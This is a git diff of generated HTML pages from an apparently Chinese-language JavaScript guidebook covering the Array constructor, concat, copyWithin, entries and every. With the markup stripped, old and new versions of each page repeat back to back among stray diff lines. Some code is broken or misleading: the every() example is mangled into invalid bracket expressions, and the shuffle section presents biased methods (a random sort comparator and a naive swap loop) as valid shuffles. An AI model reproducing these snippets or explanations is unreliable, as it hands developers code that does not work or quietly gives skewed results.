                                                                                                                            <T>(arrayLength: number): T[];
                                                                                                                            <T>(...items: T[]): T[];
                                                                                                                            isArray(arg: any): arg is any[];
                                                                                                                            readonly prototype: any[];
                                                                                                                            }
                                                                                                                            -
                                                                                                                            declare var Array: ArrayConstructor;

                                                                                                                            参数说明:

                                                                                                                            参数类型描述
                                                                                                                            elementN任意类型Array 构造器会根据给定的元素创建一个 JavaScript 数组,但是当仅有一个参数且为数字时除外(详见下面的 arrayLength 参数)。
                                                                                                                            arrayLengthNumber 类型一个范围在 0 到 2[32]-1 之间的整数,此时将返回一个 length 的值等于 arrayLength 的数组对象(言外之意就是该数组此时并没有包含任何实际的元素,不能理所当然地认为它包含 arrayLength 个值为 undefined 的元素)。如果传入的参数不是有效值,则会抛出 RangeError 异常。

                                                                                                                            描述

                                                                                                                            数组是类似列表的对象,本质上,数组是一种特殊的对象(有次序的对象),在原型中提供了遍历以及改变其中元素的很多方法。 数组的长度及其中元素的类型都是不固定的。因为数组的长度可读可写,有时数组中的元素也不是在连续的位置,所以 JavaScript 数组不一定是密集的。通常情况下,这是一些方便的特性;如果这些特性不适用于你的特定使用场景,你可以考虑使用固定类型数组。

                                                                                                                            typeof [1, 2, 3]; // "object"

                                                                                                                            数组的特殊性体现在,它的键名是按次序排列的一组整数。由于数组成员的键名是固定的,因此数组不用为每个元素指定键名,而对象的每个成员都必须指定键名。

                                                                                                                            var arr = ['a', 'b', 'c'];
                                                                                                                            console.log(Object.keys(arr)); // ["0", "1", "2"]
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array 对象

                                                                                                                            Array 对象时用于构造数组的全局对象,类似时类似于列表的高阶对象。

                                                                                                                            Array 对象主要用于存储多个数据项,数据可以是任意类型。

                                                                                                                            所有主流浏览器均支持该对象。

                                                                                                                            语法

                                                                                                                            字面量

                                                                                                                            [element0, element1, ..., elementN]

                                                                                                                            数组类型转换函数

                                                                                                                            Array(element0, element1, ..., elementN)

                                                                                                                            构造函数

                                                                                                                            new Array(element0, element1, ..., elementN)
                                                                                                                            +
                                                                                                                            new Array(arrayLength)

                                                                                                                            类型声明:

                                                                                                                            interface ArrayConstructor {
                                                                                                                            new (arrayLength?: number): any[];
                                                                                                                            new <T>(arrayLength: number): T[];
                                                                                                                            new <T>(...items: T[]): T[];
                                                                                                                            (arrayLength?: number): any[];
                                                                                                                            <T>(arrayLength: number): T[];
                                                                                                                            <T>(...items: T[]): T[];
                                                                                                                            isArray(arg: any): arg is any[];
                                                                                                                            readonly prototype: any[];
                                                                                                                            }
                                                                                                                            +
                                                                                                                            declare var Array: ArrayConstructor;

                                                                                                                            参数说明:

                                                                                                                            参数类型描述
                                                                                                                            elementN任意类型Array 构造器会根据给定的元素创建一个 JavaScript 数组,但是当仅有一个参数且为数字时除外(详见下面的 arrayLength 参数)。
                                                                                                                            arrayLengthNumber 类型一个范围在 0 到 2[32]-1 之间的整数,此时将返回一个 length 的值等于 arrayLength 的数组对象(言外之意就是该数组此时并没有包含任何实际的元素,不能理所当然地认为它包含 arrayLength 个值为 undefined 的元素)。如果传入的参数不是有效值,则会抛出 RangeError 异常。

                                                                                                                            描述

                                                                                                                            数组是类似列表的对象,本质上,数组是一种特殊的对象(有次序的对象),在原型中提供了遍历以及改变其中元素的很多方法。 数组的长度及其中元素的类型都是不固定的。因为数组的长度可读可写,有时数组中的元素也不是在连续的位置,所以 JavaScript 数组不一定是密集的。通常情况下,这是一些方便的特性;如果这些特性不适用于你的特定使用场景,你可以考虑使用固定类型数组。

                                                                                                                            typeof [1, 2, 3]; // "object"

                                                                                                                            数组的特殊性体现在,它的键名是按次序排列的一组整数。由于数组成员的键名是固定的,因此数组不用为每个元素指定键名,而对象的每个成员都必须指定键名。

                                                                                                                            var arr = ['a', 'b', 'c'];
                                                                                                                            console.log(Object.keys(arr)); // ["0", "1", "2"]
                                                                                                                            var obj = {
                                                                                                                            name1: 'a',
                                                                                                                            name2: 'b',
                                                                                                                            name3: 'c',
                                                                                                                            };

                                                                                                                            数组是对象的特殊形式,使用方括号访问数组元素就像用方括号访问对象的属性一样。

                                                                                                                            JavaScript 语言规定,对象的键名一律为字符串,所以,数组的键名其实也是字符串。之所以可以用数值读取,是因为非字符串的键名会被转为字符串,然后将其作为属性名来使用

                                                                                                                            // 创建一个普通的对象
                                                                                                                            o = {};
                                                                                                                            // 用一个整数来索引它
                                                                                                                            o[1] = 'one';
                                                                                                                            // 数值键名被自动转成字符串
                                                                                                                            var arr = ['a', 'b', 'c'];
                                                                                                                            console.log(arr['0']);
                                                                                                                            // 'a'
                                                                                                                            console.log(arr[0]);
                                                                                                                            // 'a'

                                                                                                                            但是,一定要区分数组索引和对象的属性名:所有的索引都是属性名,但只有在 0~232-2(4294967294)之间的整数属性名才是索引。

                                                                                                                            var a = [];
                                                                                                                            @@ -57,12 +60,12 @@
                                                                                                                            // 设置字符串
                                                                                                                            [].length = 'abc' // RangeError: Invalid array length

                                                                                                                            由于数组本质上是对象,所以可以为数组添加属性,但是这不影响 length 属性的值

                                                                                                                            var a = [];
                                                                                                                            a['p'] = 'abc';
                                                                                                                            console.log(a.length); // 0
                                                                                                                            a[2.1] = 'abc';
                                                                                                                            console.log(a.length); // 0

                                                                                                                            数组遍历

                                                                                                                            • 使用 for 循环语句遍历数组元素是最常见的方法
                                                                                                                            var a = [1, 2, 3];
                                                                                                                            for (var i = 0; i < a.length; i++) {
                                                                                                                            console.log(a[i]);
                                                                                                                            }
                                                                                                                            • 当然,也可以使用 while 循环语句
                                                                                                                            var a = [1, 2, 3];
                                                                                                                            var i = 0;
                                                                                                                            while (i < a.length) {
                                                                                                                            console.log(a[i]);
                                                                                                                            i++;
                                                                                                                            }
                                                                                                                            -
                                                                                                                            var l = a.length;
                                                                                                                            while (l--) {
                                                                                                                            console.log(a[l]);
                                                                                                                            }
                                                                                                                            • 但如果数组是稀疏数组时,使用 for 循环语句,就需要添加一些条件
                                                                                                                            // 跳过不存在的元素
                                                                                                                            var a = [1, , , 2];
                                                                                                                            for (var i = 0; i < a.length; i++) {
                                                                                                                            if (!(i in a)) continue;
                                                                                                                            console.log(a[i]);
                                                                                                                            }

                                                                                                                            还可以使用 for/in 循环语句处理稀疏数组。循环每次将一个可枚举的属性名(包括数组索引)赋值给循环变量。不存在的索引将不会遍历到。

                                                                                                                            var a = [1, , , 2];
                                                                                                                            for (var i in a) {
                                                                                                                            console.log(a[i]);
                                                                                                                            }

                                                                                                                            由于 for/in 循环能够枚举继承的属性名,如添加到 Array.prototype 中的方法。由于这个原因,在数组上不应该使用 for/in 循环,除非使用额外的检测方法来过滤不想要的属性。

                                                                                                                            var a = [1, , , 2];
                                                                                                                            a.b = 'b';
                                                                                                                            for (var i in a) {
                                                                                                                            console.log(a[i]); //1 2 'b'
                                                                                                                            }
                                                                                                                            // 跳过不是非负整数的 i
                                                                                                                            var a = [1, , , 2];
                                                                                                                            a.b = 'b';
                                                                                                                            for (var i in a) {
                                                                                                                            if (String(Math.floor(Math.abs(Number(i)))) !== i) continue;
                                                                                                                            console.log(a[i]); //1 2
                                                                                                                            }

                                                                                                                            JavaScript 规范允许 for/in 循环以不同的顺序遍历对象的属性。通常数组元素的遍历实现是升序的,但不能保证一定是这样的。特别地,如果数组同时拥有对象属性和数组元素,返回的属性名很可能是按照创建的顺序而非数值的大小顺序。如果算法依赖于遍历的顺序,那么最好不要使用 for/in 而用常规的 for 循环。

                                                                                                                            数组乱序

                                                                                                                            数组乱序的英文为 shuffle,也称为洗牌。一般地,有如下两种方法

                                                                                                                            • 给数组原生的 sort() 方法传入一个函数,此函数随机返回 1 或 -1,达到随机排列数组元素的目的
                                                                                                                            var array = [1, 2, 3, 4, 5];
                                                                                                                            array.sort(function () {
                                                                                                                            return Math.random() - 0.5;
                                                                                                                            });
                                                                                                                            // return [2,1,5,4,3]
                                                                                                                            • 依次遍历数组中的每个元素,遍历到的元素与一个随机位置的元素交换值(效率比第一种方法搞)
                                                                                                                            var arr = [1, 2, 3, 4, 5];
                                                                                                                            for (var i = 0; i < arr.length; i++) {
                                                                                                                            var randomIndex = Math.floor(Math.random() * arr.length);
                                                                                                                            [arr[i], arr[randomIndex]] = [arr[randomIndex], arr[i]];
                                                                                                                            }
                                                                                                                            console.log(arr); // [2, 3, 1, 4, 5]
                                                                                                                            +
                                                                                                                            var l = a.length;
                                                                                                                            while (l--) {
                                                                                                                            console.log(a[l]);
                                                                                                                            }
                                                                                                                            • 但如果数组是稀疏数组时,使用 for 循环语句,就需要添加一些条件
                                                                                                                            // 跳过不存在的元素
                                                                                                                            var a = [1, , , 2];
                                                                                                                            for (var i = 0; i < a.length; i++) {
                                                                                                                            if (!(i in a)) continue;
                                                                                                                            console.log(a[i]);
                                                                                                                            }

                                                                                                                            还可以使用 for/in 循环语句处理稀疏数组。循环每次将一个可枚举的属性名(包括数组索引)赋值给循环变量。不存在的索引将不会遍历到。

                                                                                                                            var a = [1, , , 2];
                                                                                                                            for (var i in a) {
                                                                                                                            console.log(a[i]);
                                                                                                                            }

                                                                                                                            由于 for/in 循环能够枚举继承的属性名,如添加到 Array.prototype 中的方法。由于这个原因,在数组上不应该使用 for/in 循环,除非使用额外的检测方法来过滤不想要的属性。

                                                                                                                            var a = [1, , , 2];
                                                                                                                            a.b = 'b';
                                                                                                                            for (var i in a) {
                                                                                                                            console.log(a[i]); //1 2 'b'
                                                                                                                            }
                                                                                                                            // 跳过不是非负整数的 i
                                                                                                                            var a = [1, , , 2];
                                                                                                                            a.b = 'b';
                                                                                                                            for (var i in a) {
                                                                                                                            if (String(Math.floor(Math.abs(Number(i)))) !== i) continue;
                                                                                                                            console.log(a[i]); //1 2
                                                                                                                            }

                                                                                                                            JavaScript 规范允许 for/in 循环以不同的顺序遍历对象的属性。通常数组元素的遍历实现是升序的,但不能保证一定是这样的。特别地,如果数组同时拥有对象属性和数组元素,返回的属性名很可能是按照创建的顺序而非数值的大小顺序。如果算法依赖于遍历的顺序,那么最好不要使用 for/in 而用常规的 for 循环。

                                                                                                                            数组乱序

                                                                                                                            数组乱序的英文为 shuffle,也称为洗牌。一般地,有如下两种方法

                                                                                                                            • 给数组原生的 sort() 方法传入一个函数,此函数随机返回 1 或 -1,达到随机排列数组元素的目的
                                                                                                                            var array = [1, 2, 3, 4, 5];
                                                                                                                            array.sort(function () {
                                                                                                                            return Math.random() - 0.5;
                                                                                                                            });
                                                                                                                            // return [2,1,5,4,3]
                                                                                                                            • 依次遍历数组中的每个元素,遍历到的元素与一个随机位置的元素交换值(效率比第一种方法搞)
                                                                                                                            var arr = [1, 2, 3, 4, 5];
                                                                                                                            for (var i = 0; i < arr.length; i++) {
                                                                                                                            var randomIndex = Math.floor(Math.random() * arr.length);
                                                                                                                            [arr[i], arr[randomIndex]] = [arr[randomIndex], arr[i]];
                                                                                                                            }
                                                                                                                            console.log(arr); // [2, 3, 1, 4, 5]
                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/concat/index.html b/standard-built-in-objects/indexed-collections/array/concat/index.html index 9df2a5695..514093e24 100644 --- a/standard-built-in-objects/indexed-collections/array/concat/index.html +++ b/standard-built-in-objects/indexed-collections/array/concat/index.html @@ -7,30 +7,33 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.concat - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.concat()

                                                                                                                            Array.prototype.concat() 方法用于合并两个或多个数组。此方法不会更改现有数组,而是返回一个新数组。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            const new_array = old_array.concat( item1[, itemN ] )

                                                                                                                            类型声明:

                                                                                                                            interface ConcatArray<T> {
                                                                                                                            readonly length: number;
                                                                                                                            readonly [n: number]: T;
                                                                                                                            join(separator?: string): string;
                                                                                                                            slice(start?: number, end?: number): T[];
                                                                                                                            }
                                                                                                                            -
                                                                                                                            interface Array<T> {
                                                                                                                            concat(...items: ConcatArray<T>[]): T[];
                                                                                                                            -
                                                                                                                            concat(...items: (T | ConcatArray<T>)[]): T[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数描述类型
                                                                                                                            item1添加到当前数组末尾处的数据项any
                                                                                                                            itemN要添加到当前数组末尾处的其他项,可以有多个。any

                                                                                                                            返回值:

                                                                                                                            返回合并后新的 Array 实例。

                                                                                                                            方法说明

                                                                                                                            concat 方法创建一个新的数组,它由被调用的对象中的元素组成,每个参数的顺序依次是该参数的元素(如果参数是数组)或参数本身(如果参数不是数组)。它不会递归到嵌套数组参数中。

                                                                                                                            concat 方法不会改变 this 或任何作为参数提供的数组,而是返回一个浅拷贝,它包含与原始数组相结合的相同元素的副本。 原始数组的元素将复制到新数组中,如下所示:

                                                                                                                            • 对象引用(而不是实际对象):concat 将对象引用复制到新数组中。原始数组和新数组都引用相同的对象。 也就是说,如果引用的对象被修改,则更改对于新数组和原始数组都是可见的。这包括也是数组的数组参数的元素。
                                                                                                                            • 数据类型如字符串,数字和布尔(不是 StringNumberBoolean 对象):concat 将字符串和数字的值复制到新数组中。

                                                                                                                            注意:数组/值在连接时保持不变。此外,对于新数组的任何操作(仅当元素不是对象引用时)都不会对原始数组产生影响,反之亦然。

                                                                                                                            代码示例

                                                                                                                            连接两个数组

                                                                                                                            以下代码将两个数组合并为一个新数组。

                                                                                                                            const alpha = ['a', 'b', 'c'];
                                                                                                                            const numeric = [1, 2, 3];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.concat()

                                                                                                                            Array.prototype.concat() 方法用于合并两个或多个数组。此方法不会更改现有数组,而是返回一个新数组。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            const new_array = old_array.concat( item1[, itemN ] )

                                                                                                                            类型声明:

                                                                                                                            interface ConcatArray<T> {
                                                                                                                            readonly length: number;
                                                                                                                            readonly [n: number]: T;
                                                                                                                            join(separator?: string): string;
                                                                                                                            slice(start?: number, end?: number): T[];
                                                                                                                            }
                                                                                                                            +
                                                                                                                            interface Array<T> {
                                                                                                                            concat(...items: ConcatArray<T>[]): T[];
                                                                                                                            +
                                                                                                                            concat(...items: (T | ConcatArray<T>)[]): T[];
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数描述类型
                                                                                                                            item1添加到当前数组末尾处的数据项any
                                                                                                                            itemN要添加到当前数组末尾处的其他项,可以有多个。any

                                                                                                                            返回值:

                                                                                                                            返回合并后新的 Array 实例。

                                                                                                                            方法说明

                                                                                                                            concat 方法创建一个新的数组,它由被调用的对象中的元素组成,每个参数的顺序依次是该参数的元素(如果参数是数组)或参数本身(如果参数不是数组)。它不会递归到嵌套数组参数中。

                                                                                                                            concat 方法不会改变 this 或任何作为参数提供的数组,而是返回一个浅拷贝,它包含与原始数组相结合的相同元素的副本。 原始数组的元素将复制到新数组中,如下所示:

                                                                                                                            • 对象引用(而不是实际对象):concat 将对象引用复制到新数组中。原始数组和新数组都引用相同的对象。 也就是说,如果引用的对象被修改,则更改对于新数组和原始数组都是可见的。这包括也是数组的数组参数的元素。
                                                                                                                            • 数据类型如字符串,数字和布尔(不是 StringNumberBoolean 对象):concat 将字符串和数字的值复制到新数组中。

                                                                                                                            注意:数组/值在连接时保持不变。此外,对于新数组的任何操作(仅当元素不是对象引用时)都不会对原始数组产生影响,反之亦然。

                                                                                                                            代码示例

                                                                                                                            连接两个数组

                                                                                                                            以下代码将两个数组合并为一个新数组。

                                                                                                                            const alpha = ['a', 'b', 'c'];
                                                                                                                            const numeric = [1, 2, 3];
                                                                                                                            alpha.concat(numeric);
                                                                                                                            // Outputs: ['a', 'b', 'c', 1, 2, 3]

                                                                                                                            连接三个数组

                                                                                                                            以下代码将三个数组合并为一个新数组。

                                                                                                                            const num1 = [1, 2, 3],
                                                                                                                            num2 = [4, 5, 6],
                                                                                                                            num3 = [7, 8, 9];
                                                                                                                            const nums = num1.concat(num2, num3);
                                                                                                                            console.log(nums);
                                                                                                                            // Outputs: [1, 2, 3, 4, 5, 6, 7, 8, 9]

                                                                                                                            将值连接到数组

                                                                                                                            以下代码将三个值连接到数组。

                                                                                                                            var alpha = ['a', 'b', 'c'];
                                                                                                                            @@ -41,12 +44,12 @@
                                                                                                                            // modify the first element of num1
                                                                                                                            num1[0].push(4);
                                                                                                                            console.log(nums);
                                                                                                                            // Outputs: [[1, 4], 2, [3]]

                                                                                                                            将对象合并为数组

                                                                                                                            var newArray = Array.prototype.concat.call({ a: 1 }, { b: 2 });
                                                                                                                            console.log(newArray);
                                                                                                                            // [{ a: 1 }, { b: 2 }]
                                                                                                                            -
                                                                                                                            console.log(newArray[0].a);
                                                                                                                            // 1

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            console.log(newArray[0].a);
                                                                                                                            // 1

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/copy-within/index.html b/standard-built-in-objects/indexed-collections/array/copy-within/index.html index 4b21ad709..cd3c167b8 100644 --- a/standard-built-in-objects/indexed-collections/array/copy-within/index.html +++ b/standard-built-in-objects/indexed-collections/array/copy-within/index.html @@ -7,33 +7,36 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.copyWithin - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.copyWithin()

                                                                                                                            Array.prototype.copyWithin() 方法浅复制数组的一部分到同一数组中的另一个位置,并返回它,不会改变原数组的长度。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.copyWithin( target [, start [, end]]);

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            copyWithin(target: number, start: number, end?: number): this;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            target0 为基底的索引,复制序列到该位置。如果是负数,target 将从末尾开始计算。如果 target 大于等于数组长度,将不会发生拷贝。如果 targetstart 之后,复制的序列将被修改以复合数组长度number
                                                                                                                            start0 为基底的索引,开始复制元素的起始位置。如果是负数,start 将从末尾开始计算。如果 start 被忽略,copyWithin 将会从 0 开始复制。number
                                                                                                                            end0 为基底的索引,开始复制元素的结束位置。copyWithin 将会拷贝到该位置,但不包括 end 这个位置的元素。如果是负数,end 将从末尾开始计算。如果 end 被忽略,copyWithin 方法将会一直复制至数组结尾(默认为数组长度)number

                                                                                                                            参考资料

                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.copyWithin()

                                                                                                                            Array.prototype.copyWithin() 方法浅复制数组的一部分到同一数组中的另一个位置,并返回它,不会改变原数组的长度。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.copyWithin( target [, start [, end]]);

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            copyWithin(target: number, start: number, end?: number): this;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            target0 为基底的索引,复制序列到该位置。如果是负数,target 将从末尾开始计算。如果 target 大于等于数组长度,将不会发生拷贝。如果 targetstart 之后,复制的序列将被修改以复合数组长度number
                                                                                                                            start0 为基底的索引,开始复制元素的起始位置。如果是负数,start 将从末尾开始计算。如果 start 被忽略,copyWithin 将会从 0 开始复制。number
                                                                                                                            end0 为基底的索引,开始复制元素的结束位置。copyWithin 将会拷贝到该位置,但不包括 end 这个位置的元素。如果是负数,end 将从末尾开始计算。如果 end 被忽略,copyWithin 方法将会一直复制至数组结尾(默认为数组长度)number

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/entries/index.html b/standard-built-in-objects/indexed-collections/array/entries/index.html index 0cefd3711..1ee2c0805 100644 --- a/standard-built-in-objects/indexed-collections/array/entries/index.html +++ b/standard-built-in-objects/indexed-collections/array/entries/index.html @@ -7,41 +7,44 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.entries - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.entries()

                                                                                                                            Array.prototype.entries() 方法返回一个新的 Array Iterator 对象,该对象包含数组中每个索引的键值对。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.entries();

                                                                                                                            类型声明:

                                                                                                                            interface IterableIterator<T> extends Iterator<T> {
                                                                                                                            [Symbol.iterator](): IterableIterator<T>;
                                                                                                                            }
                                                                                                                            -
                                                                                                                            interface Array<T> {
                                                                                                                            entries(): IterableIterator<[number, T]>;
                                                                                                                            }

                                                                                                                            返回值:

                                                                                                                            返回一个新的 Array 迭代器对象。Array Iterator 是对象,它的原型上有一个 next() 方法,可用于便利迭代器取得原数组的键值对。详情请查询 Iterator 对象

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const arr = ['a', 'b', 'c'];
                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.entries()

                                                                                                                            Array.prototype.entries() 方法返回一个新的 Array Iterator 对象,该对象包含数组中每个索引的键值对。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.entries();

                                                                                                                            类型声明:

                                                                                                                            interface IterableIterator<T> extends Iterator<T> {
                                                                                                                            [Symbol.iterator](): IterableIterator<T>;
                                                                                                                            }
                                                                                                                            +
                                                                                                                            interface Array<T> {
                                                                                                                            entries(): IterableIterator<[number, T]>;
                                                                                                                            }

                                                                                                                            返回值:

                                                                                                                            返回一个新的 Array 迭代器对象。Array Iterator 是对象,它的原型上有一个 next() 方法,可用于便利迭代器取得原数组的键值对。详情请查询 Iterator 对象

                                                                                                                            代码示例

                                                                                                                            基本用法

                                                                                                                            const arr = ['a', 'b', 'c'];
                                                                                                                            const iterator = arr.entries();
                                                                                                                            const result = [];
                                                                                                                            // 注意是 length + 1,比数组的长度大
                                                                                                                            for (let i = 0; i < arr.length + 1; i++) {
                                                                                                                            // 每次迭代更新 next
                                                                                                                            const item = iterator.next();
                                                                                                                            // 这里可以看到更新后的 done 都是 false
                                                                                                                            console.log(item.done);
                                                                                                                            // 遍历迭代器结束 done 才是 true
                                                                                                                            if (item.done !== true) {
                                                                                                                            console.log(item.value);
                                                                                                                            result[i] = item.value;
                                                                                                                            }
                                                                                                                            }
                                                                                                                            console.log(result);
                                                                                                                            // Output: ['a', 'b', 'c']

                                                                                                                            二维数组排序

                                                                                                                            function sortArr(arr) {
                                                                                                                            let goNext = true;
                                                                                                                            let entries = arr.entries();
                                                                                                                            while (goNext) {
                                                                                                                            let result = entries.next();
                                                                                                                            if (result.done !== true) {
                                                                                                                            result.value[1].sort((a, b) => a - b);
                                                                                                                            goNext = true;
                                                                                                                            } else {
                                                                                                                            goNext = false;
                                                                                                                            }
                                                                                                                            }
                                                                                                                            return arr;
                                                                                                                            }
                                                                                                                            const arr = [
                                                                                                                            [1, 34],
                                                                                                                            [456, 2, 3, 44, 234],
                                                                                                                            [4567, 1, 4, 5, 6],
                                                                                                                            [34, 78, 23, 1],
                                                                                                                            ];
                                                                                                                            sortArr(arr);
                                                                                                                            /*(4) [Array(2), Array(5), Array(5), Array(4)]
                                                                                                                            0:(2) [1, 34]
                                                                                                                            1:(5) [2, 3, 44, 234, 456]
                                                                                                                            2:(5) [1, 4, 5, 6, 4567]
                                                                                                                            3:(4) [1, 23, 34, 78]
                                                                                                                            length:4
                                                                                                                            __proto__:Array(0)
                                                                                                                            */

                                                                                                                            使用 for-of 循环

                                                                                                                            const arr = ['a', 'b', 'c'];
                                                                                                                            const iterator = arr.entries();
                                                                                                                            -
                                                                                                                            for (let item of iterator) {
                                                                                                                            console.log(item);
                                                                                                                            }
                                                                                                                            // [0, 'a']
                                                                                                                            // [1, 'b']
                                                                                                                            // [2, 'c']

                                                                                                                            参考资料

                                                                                                                            +
                                                                                                                            for (let item of iterator) {
                                                                                                                            console.log(item);
                                                                                                                            }
                                                                                                                            // [0, 'a']
                                                                                                                            // [1, 'b']
                                                                                                                            // [2, 'c']

                                                                                                                            参考资料

                                                                                                                            - + diff --git a/standard-built-in-objects/indexed-collections/array/every/index.html b/standard-built-in-objects/indexed-collections/array/every/index.html index 53fd3a5ed..60c4e9c66 100644 --- a/standard-built-in-objects/indexed-collections/array/every/index.html +++ b/standard-built-in-objects/indexed-collections/array/every/index.html @@ -7,35 +7,38 @@ content="width=device-width, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no" /> - + Array.prototype.every - JavaScript Guidebook -

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.every()

                                                                                                                            every() 方法遍历数组中每个成员,通过回调函数判断是否所有成员都满足特定条件。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.every( predicate [, thisArg ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            every<S extends T>(
                                                                                                                            predicate: (value: T, index: number, array: T[]) => value is S,
                                                                                                                            thisArg?: any
                                                                                                                            ): this is S[];
                                                                                                                            -
                                                                                                                            every(predicate: (value: T, index: number, array: T[]) => unknown, thisArg?: any): boolean;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            predicate用于判定数组成员的回调函数function
                                                                                                                            thisArg执行回调函数的 this

                                                                                                                            callback 函数的参数:

                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            返回值:

                                                                                                                            返回当所有数组元素满足回调函数的判断时返回 true,否则返回 false

                                                                                                                            方法说明

                                                                                                                            • 执行该方法会为数组每个成员执行一次回调函数,回调函数需要通过判断代码块后,返回布尔值作为该成员是否通过检测的凭证,如果通过则再为下一个数组成员执行回调函数,直到遇到第一个判断为 false 的数组成员则立即给实例方法返回 false,否则全部成员都通过检测的回调函数,则返回 true
                                                                                                                            • 回调函数只会为那些已经被赋值的索引调用,不会为那些被删除或从来没有被赋值的索引调用。
                                                                                                                            • 如果为实例方法提供一个 thisArg 参数,则该参数为调用回调函数时的 this 值。如果省略该参数,则为回调函数被调用时的 this 值,在非严格模式下为全局对象,在严格模式下传入 undefined
                                                                                                                            • 遍历的数组成员范围在第一次调用回调函数之前就已确定了。在调用 every() 之后添加到数组中的成员不会被回调函数访问到。如果数组中存在的成员被更改,则他们传入回调函数的值是 every() 访问到他们那一刻的值。那些被删除的成员或未被赋值的成员将不会被访问到。

                                                                                                                            代码示例

                                                                                                                            下例检测数组中的所有元素是否都大于 10。

                                                                                                                            const isBigEnough = (element, index, array) =>
                                                                                                                            (element >= 10)[(12, 5, 8, 130, 44)].every(isBigEnough)[
                                                                                                                            // false
                                                                                                                            -
                                                                                                                            (12, 54, 18, 130, 44)
                                                                                                                            ].every(isBigEnough);
                                                                                                                            // true

                                                                                                                            参考资料

                                                                                                                            +

                                                                                                                            JavaScript Guidebook

                                                                                                                            JavaScript 完全知识体系

                                                                                                                            Array.prototype.every()

                                                                                                                            every() 方法遍历数组中每个成员,通过回调函数判断是否所有成员都满足特定条件。

                                                                                                                            语法

                                                                                                                            语法:

                                                                                                                            arr.every( predicate [, thisArg ] )

                                                                                                                            类型声明:

                                                                                                                            interface Array<T> {
                                                                                                                            every<S extends T>(
                                                                                                                            predicate: (value: T, index: number, array: T[]) => value is S,
                                                                                                                            thisArg?: any
                                                                                                                            ): this is S[];
                                                                                                                            +
                                                                                                                            every(predicate: (value: T, index: number, array: T[]) => unknown, thisArg?: any): boolean;
                                                                                                                            }

                                                                                                                            参数说明:

                                                                                                                            参数说明类型
                                                                                                                            predicate用于判定数组成员的回调函数function
                                                                                                                            thisArg执行回调函数的 this

                                                                                                                            callback 函数的参数:

                                                                                                                            • currentValue:当前数组中处理的元素
                                                                                                                            • index:数组中正处理的当前元素的索引
                                                                                                                            • array:被调用的数组

                                                                                                                            返回值:

                                                                                                                            返回当所有数组元素满足回调函数的判断时返回 true,否则返回 false

                                                                                                                            方法说明

                                                                                                                            • 执行该方法会为数组每个成员执行一次回调函数,回调函数需要通过判断代码块后,返回布尔值作为该成员是否通过检测的凭证,如果通过则再为下一个数组成员执行回调函数,直到遇到第一个判断为 false 的数组成员则立即给实例方法返回 false,否则全部成员都通过检测的回调函数,则返回 true
                                                                                                                            • 回调函数只会为那些已经被赋值的索引调用,不会为那些被删除或从来没有被赋值的索引调用。
                                                                                                                            • 如果为实例方法提供一个 thisArg 参数,则该参数为调用回调函数时的 this 值。如果省略该参数,则为回调函数被调用时的 this 值,在非严格模式下为全局对象,在严格模式下传入 undefined
                                                                                                                            • 遍历的数组成员范围在第一次调用回调函数之前就已确定了。在调用 every() 之后添加到数组中的成员不会被回调函数访问到。如果数组中存在的成员被更改,则他们传入回调函数的值是 every() 访问到他们那一刻的值。那些被删除的成员或未被赋值的成员将不会被访问到。

                                                                                                                            代码示例

                                                                                                                            下例检测数组中的所有元素是否都大于 10。

                                                                                                                            const isBigEnough = (element, index, array) =>
                                                                                                                            (element >= 10)[(12, 5, 8, 130, 44)].every(isBigEnough)[
                                                                                                                            // false
                                                                                                                            +
                                                                                                                            (12, 54, 18, 130, 44)
                                                                                                                            ].every(isBigEnough);
                                                                                                                            // true

                                                                                                                            参考资料

